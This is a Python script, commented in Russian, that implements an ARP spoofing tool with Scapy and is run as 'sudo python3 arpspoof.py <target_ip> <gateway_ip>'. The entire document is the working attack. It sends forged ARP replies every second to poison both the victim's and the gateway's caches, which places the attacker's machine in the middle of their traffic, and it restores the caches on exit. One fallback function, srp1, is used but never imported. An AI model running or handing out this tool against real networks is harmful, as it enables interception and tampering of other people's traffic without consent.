Загрузка данных
#!/usr/bin/env python3
"""
ARP Spoofer - реализация функциональности arpspoof на Python с использованием Scapy.
Запуск: sudo python3 arpspoof.py <target_ip> <gateway_ip>
"""
import sys
import time
import signal
from scapy.all import Ether, ARP, sendp, getmacbyip, conf, get_if_hwaddr
# Глобальные переменные для восстановления при завершении
target_ip = None
gateway_ip = None
target_mac = None
gateway_mac = None
attacker_mac = None
restore_required = False
def get_mac(ip):
"""Получить MAC-адрес по IP с помощью ARP-запроса."""
mac = getmacbyip(ip)
if mac is None:
# Альтернативный способ через srp1
ans = srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=ip),
timeout=2, verbose=False)
if ans:
mac = ans[Ether].hwsrc
if mac is None:
sys.exit(f"[!] Не удалось получить MAC-адрес для {ip}")
return mac
def restore_arp():
"""Восстановить ARP-кэш жертвы и шлюза (отправить правильные ARP-ответы)."""
print("\n[*] Восстановление ARP-таблиц...")
if target_mac and gateway_mac and attacker_mac:
# Правильный ARP для жертвы: gateway IP -> gateway MAC
restore_target = Ether(dst=target_mac) / ARP(op=2, psrc=gateway_ip, hwsrc=gateway_mac,
pdst=target_ip, hwdst=target_mac)
# Правильный ARP для шлюза: target IP -> target MAC
restore_gateway = Ether(dst=gateway_mac) / ARP(op=2, psrc=target_ip, hwsrc=target_mac,
pdst=gateway_ip, hwdst=gateway_mac)
# Отправляем несколько раз для надежности
for _ in range(5):
sendp(restore_target, verbose=False)
sendp(restore_gateway, verbose=False)
time.sleep(0.1)
print("[+] ARP-таблицы восстановлены.")
def signal_handler(sig, frame):
"""Обработчик сигналов Ctrl+C и завершения."""
global restore_required
if restore_required:
restore_arp()
sys.exit(0)
def main():
global target_ip, gateway_ip, target_mac, gateway_mac, attacker_mac, restore_required
if len(sys.argv) != 3:
print(f"Использование: sudo {sys.argv[0]} <target_ip> <gateway_ip>")
sys.exit(1)
target_ip = sys.argv[1]
gateway_ip = sys.argv[2]
print("[*] Получение MAC-адресов...")
target_mac = get_mac(target_ip)
gateway_mac = get_mac(gateway_ip)
# MAC-адрес атакующего (интерфейс по умолчанию)
attacker_mac = get_if_hwaddr(conf.iface)
print(f"[+] MAC жертвы ({target_ip}): {target_mac}")
print(f"[+] MAC шлюза ({gateway_ip}): {gateway_mac}")
print(f"[+] MAC атакующего ({conf.iface}): {attacker_mac}")
# Подготовка ARP-ответов (поддельных)
# Для жертвы: говорим, что gateway IP принадлежит атакующему
poison_target = Ether(dst=target_mac) / ARP(op=2, psrc=gateway_ip, hwsrc=attacker_mac,
pdst=target_ip, hwdst=target_mac)
# Для шлюза: говорим, что target IP принадлежит атакующему (двустороннее отравление)
poison_gateway = Ether(dst=gateway_mac) / ARP(op=2, psrc=target_ip, hwsrc=attacker_mac,
pdst=gateway_ip, hwdst=gateway_mac)
print(f"[*] Начинается ARP-spoofing: {target_ip} <- {gateway_ip}")
print("[*] Нажмите Ctrl+C для остановки и восстановления ARP-таблиц.\n")
restore_required = True
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
try:
while True:
sendp(poison_target, verbose=False)
sendp(poison_gateway, verbose=False)
time.sleep(1) # Отправка каждую секунду
except Exception as e:
print(f"\n[!] Ошибка: {e}")
restore_arp()
sys.exit(1)
if __name__ == "__main__":
main()